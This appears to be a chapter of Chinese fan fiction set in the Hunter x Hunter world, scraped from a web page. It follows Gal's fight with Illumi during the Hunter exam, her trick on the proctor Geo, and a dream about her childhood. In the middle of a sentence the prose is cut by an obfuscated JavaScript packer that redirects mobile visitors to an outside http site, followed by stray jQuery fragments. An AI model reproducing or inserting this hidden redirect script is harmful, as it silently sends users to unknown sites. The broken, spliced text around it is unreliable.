*
迦尔率先开口:“商量一下?”
“我需要猎人执照。”伊尔迷嘴边的钉子微微松动。
“那就没办法了。”
她摊了摊右手,重心压到右腿上,下一秒,整个人弹了出去。
嘭——!
伊尔迷举起手臂,格挡住劈来的拐杖。
两招过后,二人同时往后退。
“你确定要以这种姿态交手?”他扫了她左腿一眼,“认输吧。”
“真霸道。”迦尔用拐杖指着他,“为什么不是你认输?”
“虽然我没有非拿执照不可的理由,但过不了考试——我不想在那个人面前丢人啊。”
她抡起拐杖横扫过去。
伊尔迷侧身避开,从身前拔出一根长钉。
她紧追上来,拐杖擦过他的衣角,被一抹尖细白光划过。
唰——
拐杖从中断裂开。
迦尔失去重心扑向前,踉跄一步才稳住。
半截拐杖在地上滚了几圈,缓缓停下。
“你对伤残人士都没有同理心吗?”
“所以我让你认输。”
“呵。”迦尔扯了扯嘴角。
扔掉手里剩下的半截拐杖,蹲下身,拔出腿上的短刀,翻过刀背,对准裹着石膏的小腿猛地砸下——
啪嗒一声,石膏裂开几道缝,碎块掉落。
迦尔活动了一下缠着绷带的左腿,短刀横在身前:
“我、不、要。”
再次出手,她的攻势添了几分狠劲。
卸了石膏的左腿轻便许多,她动作压到极低,借着旋转的力道划出短刀,爆发出远超体格的力量。
伊尔迷的长钉格开刀刃,脚步随着她的进攻一步步偏移。
他不紧不慢地后退,忽然来了点兴致:“利用身法、技巧弥补体力的弱势,是不错的选择。是因为修炼了特别的念,所以正面只能依靠体术吗?”
迦尔不答,收刀又瞬间斩出,一缕蓝色发丝飘落在地。
“我更喜欢用体术赢。”
说完,右腿压下猛攻。
伊尔迷迎上,擦肩而过的瞬间,转身挑开她的刀尖,反手掷出几根长钉。
迦尔横刀挥开,顺手抓起两颗反掷回去。
对面却不见人影。
下一秒,他已闪到她身侧:“只能依靠体术,又不凑巧地体格娇小,意味着你相当依赖武器——”
话音未落,他扣住她的刀背,往身前一带。
迦尔被拉得半个身子前倾,另一只手捏住她握刀的手腕:“偷东西不还的小贼,付点利息吧。”
指尖收紧,剧痛从手腕传来,短刀几乎脱手。
“放开!”
她左腿猛然向上撩起,裹着绷带的小腿狠狠踢向他握刀的手臂。
嘭——
伊尔迷被震开,退了一步。
迦尔攥紧短刀落地,左腿几乎失去知觉,颤巍巍地站着。
伊尔迷看向自己发麻的手臂,“何必呢。”
“……”迦尔脚底传来一阵阵刺痛,膝盖弯了一下,咬着牙没说话。
监控室里,杰奥等了几秒:“分出胜负了吗?”
“我认输。”迦尔转了下手腕,将短刀插回腿间。
她舒了口气,干脆瘫坐在地上,仰起脸不服:“啊啊——输得好惨!”
抬眼看向监视器:“监考官大人,这个301号毫无同理心,专挑伤者痛处下手。这样没有风度的坏男人也能当猎人吗?”
“猎人考试不看人品。”杰奥按下按键,通关的门缓缓打开,“301号获胜,你可以离开了。258号,禁闭惩罚时间结束前不得离开。”
大门打开,伊尔迷转身离开,随后沉沉合上。
杰奥调出门禁系统,看了眼计时面板:“我看看……距离考试结束还剩67小时。”
迦尔盯着电子屏上滚动的字符,沉默了一会儿。
“监考官大人,我真的要在这里关67小时吗?”
“按规则是这样。”
“那我岂不是不能通关了?”她拉高音调,烦躁地抓了抓长发,“要是被人知道我参加猎人考试中途被刷……我抬不起头了!”
杰奥瞥了眼监视器里垮着脸的年轻女孩,语气松动了些:“猎人考试本来就很难。你还年轻,实力也强,下次再来也可以的。”
“我才不要下次。明明有些人随随便便就考上了,凭什么我要重考。”
目光瞥见电子屏上正在输入的字样,她神色淡下来:“监考官大人,你一直待在塔底吗?”
这问题提得直白,她又扬起语调,补了一句:“为了我们这些考生整天待在不见天日的地下室,真是辛苦了。”
“还行吧,把你们送出去,我们也能休息一阵。”
“对哦,反正两天后就结束了。”迦尔话音轻快了些,“好饿,我要是出去了,第一件事就是吃一顿好吃的。监考官大人,这附近有推荐的美食吗?”
杰奥被她带得放松下来,指尖随意搭在按键上:“这附近没什么好吃的,库坎尤国都的烤肉店倒是不错。”
“考官大人,你叫什么名字?”
“我?杰奥。”
迦尔调动全身念力向下探去,在众多纷乱思绪中锁定监控室里的杰奥。
“谢谢你,杰奥先生。”
从他的念头里悄悄偷走一缕。
“嗯?什么?”杰奥没反应过来。
正要输入67小时,念头瞬间一空,还没按下数字,直接按了【确认】。
紧闭的大门上方,电子屏里显示着禁闭时长:【0小时】
“什、什么……该死!怎么可能忘记输入时长!”杰奥猛敲键盘试图撤回指令,可指令已经发出。
塔内机关已经执行完“禁闭0小时”的指令,缓缓打开了大门。
迦尔偏了偏头,看向门口:“知道吗?我猜你一定在。”
门外的阴影里,伊尔迷正静静地站在那里。
片刻后,他的声音传来:“这是双人关卡,规则一开始就说过了。我一个人离开也未必能通过。”
“那可帮大忙了。”迦尔试着撑了撑地面,立刻吃痛地皱起眉,指了指自己的腿,一脸没辙:“我真的走不动了,要怪就怪你自己下手太狠。”
伊尔迷没说话,上前几步,单手把她从地上捞起来,驮到肩上。
迦尔痛得几乎脱力,软绵绵地趴着,仍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814590|210995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忘抱怨:“你真的很没风度,我感觉自己像一袋土豆。”
伊尔迷连嘎达声都懒得回。
没问她怎么打开的门,也没提他是否听到了她和监考官的话,两人沉默地走在通往塔底的路上。
迦尔额间细密地冒着冷汗,后背湿透,紧紧咬住下唇,一声不吭。
“有这么痛?”伊尔迷微微偏头。
“嗯。”
“看你一声不吭,还以为你也没有痛觉。”
迦尔放松脖颈,任由侧脸贴着他的后背:“毕竟在这里喊痛一点意义都没有。”
她合上眼,顿了顿,又睁开:“你刚才说‘也’什么意思?”
伊尔迷没什么起伏地道:“我从小接受家族训练,没有痛觉。”
迦尔嗤笑一声:“哈?你的家人对你真是爱护有加。”
他像是真的这么认为,甚至点了点头:“他们对弟弟们也这样,对阿奇甚至更严格。”
“阿奇又是谁?”迦尔换了个方向趴着,“我的家人才是过分。我受一点伤,他就紧张得不行,翻来覆去地检查治疗。大概是因为太惯着我,弄得我现在一点痛都忍不了。被你揍这一顿,我嘴上不说,但我快痛死了你知道吗?”
伊尔迷停下脚步,抬手拍了拍肩上的人:“你一向这么倒打一耙吗?”
迦尔被拍得冷不丁一颤,随即曲起完好的右腿往前用力踢了一脚:“是啊,一向如此。”
*
两人走了很久,迦尔脑袋昏沉沉的,不知什么时候睡了过去。
她做了个梦。
梦里的她不是现在这个肆意妄为、环游世界的迦尔。
6岁的迦尔,只是一个头发糟乱打结、浑身脏污没人管的臭小孩。
照顾她的奶奶离世,她失去了最后的庇护。
小小的身体,穿梭在商店后厨和摊贩之间,偷一口吃的。
某天被人发现,被打得奄奄一息,扔在暗巷里。
她在泥坑里躺了很久,白天到黑夜,以为自己会死在那里。
有人走了过来,丢下半块面包。
第二天,同样的位置,又多了半块。
第三天,一个穿深蓝色旧风衣的少年站在她面前。
他看了她好一会儿,蹲下来:“你躺在这里,伤不会好的。”
她努力抬眼,看着他白色的长发从风衣领口滑落,看着他朝她伸出手。
听见他说:“要跟我走吗?”
她用尽全身力气握住那只手。
6岁的迦尔只是个没人在意的臭小孩。
上天给她这辈子唯一最大的幸运,就是让她握住那只手。
永远,永远握住那只手。
*
砰的一声,墙壁炸裂的巨响传来,迦尔猛地惊醒,指尖下意识握紧。
“这是哪儿……”她揉了揉酸胀的后脑勺,眨了眨眼,才看清自己正躺在冰凉的地面上。
抬眼扫过对面,对上一张画着星星水滴花纹的脸。
西索正坐在她对面,指尖夹着一张牌,饶有兴致地看过来:“你的小女朋友醒了。”
“嘎达嘎达。”
伊尔迷坐在她身侧,一只手从对面抽牌,另一只手松松地握着她的。